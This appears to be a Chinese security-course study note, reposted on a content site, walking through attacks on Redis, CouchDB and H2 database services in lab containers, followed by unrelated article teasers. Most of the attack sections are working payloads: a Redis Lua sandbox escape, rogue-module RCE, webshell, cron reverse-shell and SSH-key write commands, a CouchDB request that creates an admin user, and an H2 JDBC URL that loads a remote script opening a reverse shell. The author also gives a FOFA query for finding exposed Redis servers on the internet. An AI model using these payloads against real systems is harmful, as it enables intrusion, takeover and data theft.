小迪安全v2023学习笔记(七十八讲)—— 数据库安全RedisCouchDBH2database未授权CVE

文章目录

  • 前记
  • 服务攻防——第七十八天
    • 数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞
      • 前置知识
        • 复现环境
        • 服务判断
        • 对象类别
        • 利用方法
      • 数据库应用 - Redis-未授权访问&CVE漏洞
        • 前置知识
        • 案例演示
          • 沙箱绕过RCE - CVE-2022-0543
          • 未授权访问 - CNVD-2019-21763
          • 未授权访问 - CNVD-2015-07557
            • 写WebShell
            • 写定时任务反弹Shell
            • 写入Linux SSH-Key公钥
        • 自动化项目
      • 数据库应用 - Couchdb-未授权越权&CVE漏洞
        • 前置知识
        • 案例演示
          • Couchdb命令执行(CVE-2017-12636)
          • Couchdb 垂直越权(CVE-2017-12635)
      • 数据库应用 - H2database-未授权访问&CVE漏洞
        • 前置知识
        • 案例演示
          • 未授权访问
          • RCE执行反弹(CVE-2022-23221)

前记

  • 今天是学习小迪安全的第七十八天,本节课是服务攻防的第一节内容,主要是数据库安全,包括RedisCouchDB以及H2database数据库
  • 主要以实战为主,需要自己下去慢慢复现,然后理解思路

服务攻防——第七十八天

数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞

在这里插入图片描述

前置知识

复现环境
  • 复现环境可以使用VulfocusVulhub
  • 这里推荐使用Vulfocus,但是官方在线网站好像是使用不了了,我们可以本地搭建环境
  • 官方参考文档:https://fofapro.github.io/vulfocus/#/
  • 搭建教程参考:
    1. Vulfocus 靶机环境搭建部署:
      • https://blog.csdn.net/csd_ct/article/details/121158165
    2. Vulfocus 不能同步的解决方法 /vulfocus 同步失败:
      • https://blog.csdn.net/m0_64563956/article/details/131229046
  • 我这里是搭建到本地Ubuntu上面的,当然更推荐部署到公网服务器上,然后采用的是docker搭建:
docker pull vulfocus/vulfocus:latest
  • 镜像拉取完毕后直接运行即可:
docker run -d -p 8099:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 vulfocus/vulfocus
  • 这里我们将其映射到了8099端口,所以访问http://IP:8099就能够访问到Vulfocus靶场,账号密码为admin/admin,然后到镜像管理这里一键同步即可:
    在这里插入图片描述

  • 这样我们就可以部署自己想要的靶场环境了,当然也可以自定义靶场

  • 我这里并没有遇到小迪所说的无法同步的问题,也可以正常下载镜像,有问题的看看上面的两篇文章解决以下

服务判断
  • 端口扫描:利用服务开启后目标端口开放判断
  • 组合判断:利用搭建常见组合分析可能开放服务
  • 信息来源:访问端口提示软件版本,应用信息等
  • 强弱特征:如框架 shiro 强特征 rememberMeSpringBoot 默认页面等
对象类别
  • 对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的 CVE 进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。
利用方法
  • 主要集中在 CVE 漏洞未授权访问弱口令爆破

数据库应用 - Redis-未授权访问&CVE漏洞

前置知识
  • Redis 是一套开源的使用 ANSI C 编写、支持网络、可基于内存可持久化的日志型、键值存储数据库,并提供多种语言的 API
  • Redis 如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
  • Redis默认端口:6379,这也是一个判断是否为Redis的特征
案例演示
  • 演示关于Redis常见的几个漏洞,需要在Vulfocus中下载如下三个靶场:
    在这里插入图片描述
沙箱绕过RCE - CVE-2022-0543
  • 启动之后为了避免冲突,它会将6379端口映射到一个随机端口,实战下一般都是默认的端口
    在这里插入图片描述

  • 然后这里我们直接尝试使用Another Redis Desktop Manager连接,看是否存在未授权访问:
    在这里插入图片描述
    在这里插入图片描述

  • 可以看到也是成功连接上了,说明是存在未授权访问的,连接上之后就可以尝试使用已知的Redis历史漏洞尝试打打

  • 这里的话是存在CVE-2022-0543这个漏洞的,Payload如下:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
  • 不需要看懂,遇到的时候直接用就行了,它的作用是执行id命令,我们将他插入到终端这里,看是否能够成功执行即可:
    在这里插入图片描述

  • 可以看到这里成功执行命令,如果在实战中我们也可以直接尝试连接看是否存在未授权,然后再插入这个命令看看是否执行,如果能够成功执行,那就恭喜你找到了一个漏洞

  • 比如我们可以随便在fofa上搜一搜看看,语法如下:

port="6379" && protocol="redis"
  • 不管它数据包里面返回什么内容都没关系,都可以尝试连接一下
    在这里插入图片描述

  • 然后就可以尝试打一下历史漏洞,这里我们就不乱玩了,但是感觉现在这种未授权访问都比较少见了

未授权访问 - CNVD-2019-21763
  • 开启第二个靶机:
    在这里插入图片描述

  • 由于在 Reids 4.x 及以上版本中新增了模块功能,攻击者可通过外部拓展,在 Redis 中实现一个新的 Redis 命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意 .so 文件,从而实现远程代码执行。

  • 利用工具项目:https://github.com/vulhub/redis-rogue-getshell

  • 按照它的说明先make一下得到exp.so文件:

cd RedisModulesSDK/
make
  • 然后就可以利用了:
python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

在这里插入图片描述

  • 可以看到是成功利用的
未授权访问 - CNVD-2015-07557
  • 同样启动靶机:
    在这里插入图片描述

  • 这个漏洞有三种利用方式,但都是利用写文件的方式去尝试利用

写WebShell
  • 利用条件存在Web网站,且Web路径已知具有目录读写权限,所以可以看到利用条件较为苛刻
  • 利用
config set dir /tmp #设置WEB写入目录,这里假设为/tmp
config set dbfilename 1.php #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave #保存执行
save #保存执行
  • 这里连接上Redis之后,一个个写入命令即可:
    在这里插入图片描述

  • 都显示OK,没有任何报错就说明命令成功执行了,这时我们看一看/tmp目录下是否成功创建1.php文件即可,当然这里因为是在docker容器中,所以要在docker目录下去找:
    在这里插入图片描述

  • 这里因为之前传过一些php文件,但是我们直接找最后是/tmp目录的1.php文件即可,就是最后两个,那就看看其内容是否为<?php phpinfo();?>即可:
    在这里插入图片描述

  • 这里看到确实没问题,是我们写入的文件,当然也可以再换个文件名上传验证一下,我这边就不再演示了

写定时任务反弹Shell
  • 利用条件Redis服务使用ROOT账号启动,安全模式protected-mode处于关闭状态,可以看到也是比较苛刻的条件
  • 利用
config set dir /var/spool/cron #修改 Redis 的持久化目录为/var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/攻击机IP/PORT 0>&1\n\n\n" #在 Redis 中设置一个键 yy,其值是一个恶意的 crontab 条目,反弹Shell命令
config set dbfilename x #设置 Redis 持久化文件名为 x
save #强制 Redis 立即将内存中的数据持久化到磁盘
  • 因为我这里靶机环境是docker搭建的,所以没有/var/spool/cron目录,但是真实情况下是有的:
    在这里插入图片描述

  • 那这里就演示不了了,然后也需要注意的是网站的服务器要是CentOS,否则也无法执行成功

  • 因为 CentOS 会忽略乱码去执行格式正确的任务计划,而 Ubuntu 并不会忽略这些乱码,所以导致命令执行失败

写入Linux SSH-Key公钥
  • 利用条件Redis 服务使用 ROOT 账号启动安全模式 protected-mode 处于关闭状态允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器;同样是很苛刻的条件
  • 利用
# 在自己的攻击机上执行的命令
ssh-keygen -t rsa #生成一对 RSA 密钥
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt #生成一个 key.txt 文件
cat key.txt | redis-cli -h 目标IP -x set xxx #把 key.txt 的内容作为值,设置到目标 Redis 的键 xxx 中# 在Redis服务上执行的命令
config set dir /root/.ssh/ #修改 Redis 的持久化目录为目标服务器的 /root/.ssh/
config set dbfilename authorized_keys #设置持久化文件名为 authorized_keys,即 SSH 公钥文件名
save# 在自己的攻击机上再次执行的命令
cd /root/.ssh/
ssh -i id_rsa root@目标IP #使用本地私钥 id_rsa 登录目标服务器
  • 这些其实都比较鸡肋,实战中碰到的概率太低了,所以演不演示都没多大必要了
自动化项目
  • 针对Redis服务上述的三个漏洞,我们如果碰到一个个测太慢了,那这里有别人写好的自动化脚本,实战中直接扫就好了
  • 项目地址:https://github.com/n0b0dyCN/redis-rogue-server
  • 同样需要先make一下:
cd RedisModulesSDK/exp/
make
  • 然后直接使用如下命令扫描即可:
python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 攻击机IP

在这里插入图片描述

数据库应用 - Couchdb-未授权越权&CVE漏洞

前置知识
  • Apache CouchDB 是一个开源数据库,专注于易用性和成为 “完全拥抱 web 的数据库”。它是一个使用 JSON 作为存储格式JavaScript 作为查询语言,MapReduceHTTP 作为 API 的 NoSQL 数据库
  • 应用广泛,如 BBC 用在其动态内容展示平台;Credit Suisse 用在其内部的商品部门的市场框架;Meebo用在其社交平台(web 和应用程序)。在 2017 年 11 月 15 日,CVE-2017-12635CVE-2017-12636 披露利用。
  • Couchdb默认端口:5984
案例演示
  • 在演示之前,我们需要在Vulfocus中拉取它的靶场:
    在这里插入图片描述

  • 这个同样也是碰到了就直接用poc打就行了

Couchdb命令执行(CVE-2017-12636)
  • 启动靶机:
    在这里插入图片描述

  • 漏洞利用项目地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

  • 把上面的exp复制下来,修改如下部分:
    在这里插入图片描述

  • 然后将其放到我们的攻击机,先监听443端口,然后直接python exp.py即可:
    在这里插入图片描述

  • 这里就成功利用了,能够执行任何命令

Couchdb 垂直越权(CVE-2017-12635)
  • 还是先启动我们的靶机:
    在这里插入图片描述

  • 访问5984端口,这里是映射到了27653端口,会返回这样的JSON数据:
    在这里插入图片描述

  • 那我们就可以直接使用网上的POC进行利用,通过BP或者Postman发包:

PUT /_users/org.couchdb.user:lingaaa HTTP/1.1
Host: 192.168.0.143:27653
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 105{"type": "user","name": "lingaaa","roles": ["_admin"],"roles": [],"password": "lingaaa"
}

在这里插入图片描述

  • 先等一会再发,这里我们先打开http://192.168.0.143:27653/_utils/#login,用这个账号密码尝试登录发现没有用户:
    在这里插入图片描述

  • 然后再将这个数据包发送出去,可以看到它的回显包中提示OK:true,再次登录发现登录成功:
    在这里插入图片描述
    在这里插入图片描述

数据库应用 - H2database-未授权访问&CVE漏洞

前置知识
  • H2databaseJava SQL 数据库,H2 的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。
  • H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210 + 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。
  • **H2database的默认端口为:
    • TCP 服务端口9092
    • Web 控制台端口8082
  • 这里它的默认端口是90928082,至于小迪上面说的20051O2OA开发平台内置的H2默认端口
案例演示
  • 同样,我们需要下载关于H2database的一个靶场:
    在这里插入图片描述

  • 直接打开8082端口,这里映射的是18292端口,看到如下界面就说明是H2数据库:
    在这里插入图片描述

未授权访问
  • 我们直接在JDBC URL处填入以下内容就可以尝试存不存在未授权访问的情况:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

在这里插入图片描述
在这里插入图片描述

  • 这里就成功进入了,说明存在未授权访问
  • 当然有的时候也可以尝试之前的JNDI注入,使用rmi协议看能否进行攻击利用
RCE执行反弹(CVE-2022-23221)
  • 同样使用网上的POC,我们在攻击机上创建数据库文件h2database.sql,写入如下内容:
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
  • 这里填入我们的反弹Shell命令,需要经过Base64编码,比如:
bash -i >& /dev/tcp/192.168.0.129/6666 0>&1
  • 然后我们在攻击机上启动一个简单的服务器,让目标服务器去加载这个恶意sql文件:
python -m http.server 8888
  • 最后使用nc监听6666端口:
nc -lnvp 6666
  • 接着,我们就将如下Payload填入上面的JDBC URL处,让他加载h2database.sql即可尝试getshell
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\

在这里插入图片描述
在这里插入图片描述

  • 也是成功getshell,执行任意命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/921295.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/921295.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML + CSS 创建图片倒影的 5 种方法

HTML CSS 创建图片倒影的 5 种方法 目标&#xff1a;掌握多种生成“图片倒影 / Reflection”效果的实现思路&#xff0c;理解兼容性、性能差异与最佳实践&#xff0c;方便在真实业务&#xff08;商品展示、相册、登陆页面视觉强化&#xff09;中安全使用。 总览对比 方法核心…

一个文件被打开io流和不打卡 inode

1. 磁盘 最小基本单位 扇区 机器磁盘的io效率 &#xff08;读和取&#xff09;2. 文件系统 对磁盘分区 &#xff0c;最小的文件单位块组&#xff0c;快组内部已经划分好区域&#xff0c;巴拉巴拉&#xff0c;总之&#xff0c;每次使用数据&#xff0c;以操作系统的处理都是块级…

ThermoSeek:热稳定蛋白数据库

这篇论文提出了ThermoSeek&#xff0c;一个综合性的网络资源&#xff0c;用于分析来自嗜热和嗜冷物种的蛋白质序列和结构。具体来说&#xff0c;数据收集&#xff1a;从美国国家生物技术信息中心&#xff08;NCBI&#xff09;的基因组数据库中收集了物种的分类ID&#xff0c;并…

leetcode算法刷题的第二十七天

1.leetcode 56.合并区间 题目链接 class Solution { public:static bool cmp(const vector<int>& a,const vector<int>& b){return a[0]<b[0];}vector<vector<int>> merge(vector<vector<int>>& intervals) {vector<v…

解决 Apache/WAF SSL 证书链不完整导致的 PKIX path building failed 问题

文章目录解决 Apache/WAF SSL 证书链不完整导致的 PKIX path building failed 问题为什么会出现证书链错误&#xff1f;常见场景直连服务器正常&#xff0c;但经过 WAF 出错Windows/Linux 下证书文件说明引入 WAF 或其他中间层&#xff1a;解决方法方法一&#xff1a;单独配置 …

十一、标准化和软件知识产权基础知识

1 标准化基础知识 1.1 基本概念 1.1.1 标准的分类 1.1.1.1 按使用范围分类 国际标准&#xff1a;由国际组织如 ISO、IEC 制定的标准。国家标准&#xff1a;由国家标准化机构制定的标准&#xff0c;如中国的 GB&#xff0c;美国 ANSI。行业标准&#xff1a;由行业主管部门制定的…

计算机毕设选题:基于Python数据挖掘的高考志愿推荐系统

精彩专栏推荐订阅&#xff1a;在 下方专栏&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f496;&#x1f525;作者主页&#xff1a;计算机毕设木哥&#x1f525; &#x1f496; 文章目录 一、项目介绍二…

什么是PCB工艺边?猎板给您分享设计要点

什么是PCB工艺边&#xff1f;猎板给您分享设计要点在PCB设计和制造领域&#xff0c;工艺边是一个看似简单却至关重要的概念&#xff0c;它直接关系到生产流程的顺畅性与最终产品的质量。本文将为您详细解析PCB工艺边的定义、作用、设计要点&#xff0c;并分享猎板PCB在高精度制…

Rustdesk搭建与客户端修改与编译

Rustdesk是一个开源的远程桌面工具&#xff0c;客户端可以自己定制修改编译 这里主要记录一下搭建的过程 服务端搭建 主要是参考了这篇文章&#xff0c;感觉作者分享~ 在 Linux VPS 上创建 RustDesk 服务器 - 知乎 https://zhuanlan.zhihu.com/p/1922729751656765374 这里主要…

数字人系统源码搭建与定制化开发:从技术架构到落地实践

随着元宇宙、直播电商、智能客服等领域的爆发&#xff0c;数字人从概念走向商业化落地&#xff0c;其定制化需求也从 “单一形象展示” 升级为 “多场景交互能力”。本文将从技术底层出发&#xff0c;拆解数字人系统的源码搭建逻辑&#xff0c;结合定制化开发中的核心痛点&…

2025国赛C题创新论文+代码可视化 NIPT 的时点选择与胎儿的异常判定

2025国赛C题创新论文代码可视化 NIPT 的时点选择与胎儿的异常判定基于多通道LED光谱优化的人体节律调节与睡眠质量评估模型摘要无创产前检测&#xff08;NIPT&#xff09;通过分析孕妇血浆中胎儿游离DNA来筛查染色体异常&#xff0c;其准确性很大程度上依赖于胎儿Y染色体浓度的…

2021/07 JLPT听力原文 问题一 4番

4番&#xff1a;女の人が新しい商品の紹介をしています。よく頭が痛くなる人は、どの商品を選びますか。女&#xff1a;こちら、新発売の中国茶をご案内します。今回皆様にご紹介いたしますのは、月・星・虹・空のお茶の4種類でございます。さあ、どうぞ召し上がってください。…

爆改YOLOv8 | 即插即用的AKConv让目标检测既轻量又提点

突破固定卷积核的局限,让卷积核形状随目标变化而动态调整 目标检测技术在当今计算机视觉领域扮演着至关重要的角色,而YOLO系列作为其中佼佼者,以其高速和高精度获得了广泛应用。但在实际应用中,传统的卷积操作存在一些固有缺陷**。本文介绍了一种创新性的改进方案——AKCon…

linux inotify 功能详解

内核宏开启机制inotify 功能依赖 Linux 内核宏 CONFIG_INOTIFY_USER CONFIG_INOTIFY_USER=y该宏控制用户态程序能否调用 inotify 相关系统调用,如 inotify_init(),inotify_add_watch() inotifywait 侧重实时响应,适合触发后续操作; inotifywatch 侧重数据统计,适合分析事件…

Docker Registry 实现原理、适用场景、常用操作及搭建详解

一、实现原理 Docker Registry 是基于 无状态服务架构 的镜像存储与分发系统&#xff0c;其核心设计包含以下关键点&#xff1a;存储驱动抽象层 Registry 通过 storagedriver.StorageDriver 接口实现存储解耦&#xff0c;支持多种后端存储&#xff1a; 本地存储&#xff1a;默认…

【LeetCode热题100道笔记】轮转数组

题目描述 给定一个整数数组 nums&#xff0c;将数组中的元素向右轮转 k 个位置&#xff0c;其中 k 是非负数。 示例 1: 输入: nums [1,2,3,4,5,6,7], k 3 输出: [5,6,7,1,2,3,4] 解释: 向右轮转 1 步: [7,1,2,3,4,5,6] 向右轮转 2 步: [6,7,1,2,3,4,5] 向右轮转 3 步: [5,6,7…

【Linux我做主】细说进程等待

Linux进程等待Linux进程等待github地址0. 前言1. 进程等待的必要性1.1 避免僵尸进程与资源泄漏1.2 僵尸进程不可被直接清除1.3 获取子进程的运行结果2. 进程等待的三个问题1. 为什么要有进程等待2. 进程等待是什么3. 怎么实现进程等待3. 僵尸进程演示4. waitwait的手册声明wait…

大语言模型对齐

大语言模型对齐的重要性与目标研究 一、引言 随着大语言模型 (LLM) 能力的不断提升和应用场景的日益广泛,这些模型在为人类社会带来巨大便利的同时,也引发了一系列关于安全性、可靠性和伦理问题的担忧(9)。大语言模型的对齐 (alignment) 作为确保这些强大的 AI 系统与人类价…

数组(4)

int mid min (key - arr[min]) / (arr[max] - arr[min]) * (max - min);17.数组常见算法4 分块查找18.数组常见算法5 冒泡排序笔记小程序错误#include<stdio.h> int main() {/*冒泡排序&#xff1a;1.相邻的元素两两比较&#xff0c;大的放右边&#xff0c;小的放左边2…

STM32 读写备份寄存器

本章节功能利用备份寄存器&#xff08;BKP&#xff09;实现数据的掉电保存&#xff0c;并通过按键和OLED显示屏进行交互。使能电源&#xff08;PWR&#xff09;和备份域&#xff08;BKP&#xff09;的时钟&#xff08; RCC_APB1PeriphClockCmd 函数&#xff09;&#xff0c;并…